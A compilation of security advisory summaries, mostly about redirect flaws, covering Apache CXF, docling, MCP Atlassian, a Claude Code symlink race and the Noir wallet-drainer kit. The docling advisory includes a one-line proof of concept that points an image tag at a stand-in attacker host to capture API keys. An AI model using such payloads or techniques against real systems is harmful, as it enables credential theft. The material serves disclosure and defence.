Noir is a cryptocurrency wallet-drainer malware kit that uses DNS TXT records and DNS-over-HTTPS (DoH) as a dynamic command-and-control mechanism. It queries public DoH services to locate active infrastructure hosted on Cloudflare Pages, enabling operators to redirect phishing lures by changing a single DNS record. The malware does not require victims to input seed phrases or private keys but instead requests wallet connection permissions and spending approvals, which appear less suspicious. Its architecture separates long-lived phishing lures from short-lived operational infrastructure, with DNS caching and retry logic. The kit is AI-assisted, with extensive code comments documenting its development, and is used across multiple cryptocurrency-themed phishing campaigns.
Apache CXF contains an open redirect vulnerability in its OIDC relying-party component that allows redirection to attacker-controlled URLs after authentication. This occurs because state parameters controlled by an attacker are used as redirect targets without proper validation. Both directly and double-encoded URLs can exploit this issue. Fixed versions 4.2.4, 4.1.9, and 3.6.13 address this vulnerability.
CVE-2026-78384 is a high-severity vulnerability in Apache CXF where the CompressionUtils.inflate() method decompresses attacker-controlled DEFLATE data without limiting the output size. This can cause a small crafted payload to expand to gigabytes on the heap, potentially leading to resource exhaustion. The flaw is exploitable via JWE decryption with zip=DEF and SAML redirect/POST binding token inflation, both occurring before trust validation. Fixed versions include 4.2.4, 4.1.9, and 3.6.13, which introduce a configurable maximum inflated-size cap to prevent excessive memory usage.
The Ruby Mechanize library prior to version 2.14.1 has a vulnerability in its HTTP redirect handling. Redirects are treated as same-origin if the host matches, but scheme and port are not consistently compared. This can cause sensitive Authorization and Cookie headers to be sent over unencrypted HTTP or to unintended services on different ports, potentially disclosing credentials. The issue affects caller-supplied headers but does not impact cookie jar integrity or availability. The vulnerability is fixed in version 2.14.1.
A vulnerability (CVE-2026-84292) exists in the fast-uri component used by Red Hat Lightspeed in Satellite, where improper serialization of the URI port component allows an attacker to inject authority delimiters. This can cause the intended host to be demoted to user information and redirect authority to an attacker-controlled host, potentially leading to information disclosure and redirection of network traffic. No patch or mitigation currently meets Red Hat's criteria for deployment. The issue is rated as important and has a high severity impact on integrity.
Hackers compromised third-party operators managing the authoritative DNS records for the country-code top-level domains (ccTLDs) of Ghana (.GH), American Samoa (.AS), and Sierra Leone (.SL). By modifying these DNS records, attackers were able to obtain unauthorized HTTPS certificates for several Google domains and other organizations' domains within these ccTLDs. This allowed them to hijack domains, redirect traffic to attacker-controlled infrastructure, and impersonate legitimate brands. Google confirmed its own systems were not compromised and worked with certificate authorities to revoke the fraudulent certificates and block them in Chrome. The incident highlights risks associated with third-party DNS registry security and certificate issuance processes.
CVE-2026-76274 is a vulnerability in Splunk Enterprise versions prior to 10.4.3, 10.2.7, and 10.0.10. It allows a user with the read_o11y_content capability to redirect outbound REST API requests from the Splunk App for Splunk Observability Cloud to an attacker-controlled host, potentially exposing the configured Observability Cloud API token. This occurs because the app does not fully validate the destination of outbound requests. Splunk Enterprise 9.4.x versions are not affected.
Claude Code validated that a target file path resided within the project working directory at permission-check time, but re-resolved the path at write time without repeating that validation. This time-of-check to time-of-use (TOCTOU) gap allowed an attacker who could write to the workspace to atomically replace a project file with a symlink, causing Claude Code to follow the symlink and write its output to an arbitrary file outside the project sandbox. Exploitation required the ability to win a race condition against the write operation and write access to the shared workspace, enabling a lower-privileged attacker to redirect benign edits to sensitive files (e.g., shell configuration) in a higher-privileged session.
Users on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version.
Thank you to hackerone.com/c_h4ck_0 for reporting this issue.
CVE-2026-101152 is an open redirect vulnerability in Arista Networks CloudVision Portal's Single Sign-On (SSO) login flow. It allows a remote, unauthenticated attacker to craft a URL that causes the identity provider to send authentication material to an attacker-controlled URL instead of the legitimate CloudVision service. This vulnerability affects multiple versions of CloudVision Portal from 2021.1.0 through 2026.2.0. The CVSS score is 8.0, indicating high severity due to the potential for complete compromise of authentication credentials. No explicit patch information is provided, and no known exploits are reported in the wild.
An open redirect vulnerability exists in the AppManifest component of Google Chrome versions prior to 155.0.8059.39. This flaw allows a remote attacker to bypass the web origin policy via a crafted HTML page, potentially leading to limited confidentiality and integrity impacts. The vulnerability has a medium severity rating and requires user interaction for exploitation.
### Impact
Under certain conditions, an attacker can craft a redirect link that sends a guest user to an untrusted destination after authenticating.
### Patches
Users should upgrade Payload packages to `>= 3.88.0` or `>= 4.0.0-canary.27`.
### Workarounds
Upgrading is recommended. Until then, remove user-controlled redirect values from authentication flows or restrict them to known local paths.
### Summary
`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
### Details
`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.
### Affected configurations
- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.
### Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
### Proof of concept
```html
<img src="https://attacker.example/pixel.png">
```
Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
### Patches
Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
### Workarounds
Upgrade to 2.132.0. For older versions:
Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
MCP Atlassian versions prior to 0.22.0 have a Server-Side Request Forgery (SSRF) vulnerability due to missing redirect protection in sessions created via basic-auth and OAuth authentication branches. This allows attacker-controlled or compromised Atlassian instances to cause the server to follow redirects to internal addresses without proper validation. The issue is fixed in version 0.22.0.
An incomplete fix for CVE-2026-27826 in MCP Atlassian prior to version 0.22.0 allows redirect-based SSRF via an unhooked requests session in JiraUserMixin._lookup_user_by_permissions. This vulnerability enables a caller-controlled public Jira URL to redirect requests to internal addresses, bypassing existing redirect checks. The issue is resolved in version 0.22.0.
CVE-2026-105766 is a low-severity vulnerability in Chainguard Academy (edu) caused by the use of the backend-facing $scheme variable in nginx.conf for trailing-slash directory redirects. This results in a 301 redirect from HTTPS to HTTP, exposing documentation content to on-path attackers who can read or modify it. The issue arises because TLS terminates at the load balancer, and the redirect sends clients to an unencrypted HTTP URL. Clients enforcing HSTS, such as browsers with the .dev domain preloaded, are not affected. However, clients that do not enforce HSTS, including some command-line HTTP clients and scripts, remain vulnerable.
CVE-2026-102576 is a DOM-based cross-site scripting (XSS) vulnerability in Red Hat Quay 3's signin page. An attacker can craft a malicious login URL that, when used by a victim who completes login via direct database authentication, executes arbitrary JavaScript in the victim's browser session. This occurs because the application does not validate the redirect destination before navigation. The vulnerability has a medium severity with a CVSS score of 4.2.
Plane is an open-source project management tool. Prior to 1.4.0, Plane exposes the workspace-scoped GET /api/assets/v2/workspaces/{workspace_slug}/download/{asset_id}/ endpoint for project-bound FileAsset objects without enforcing access to the asset's owning project. An authenticated user who belongs to the same workspace, is not a member of the victim's secret project, and knows the target asset UUID can receive a 302 redirect to a signed download URL. The intended project-scoped route for the same asset correctly returns 403. Confirmed affected project-bound asset types are ISSUE_ATTACHMENT, COMMENT_DESCRIPTION, PAGE_DESCRIPTION, and PROJECT_COVER. This bypass exposes private file content protected by the secret project boundary. This issue is fixed in 1.4.0.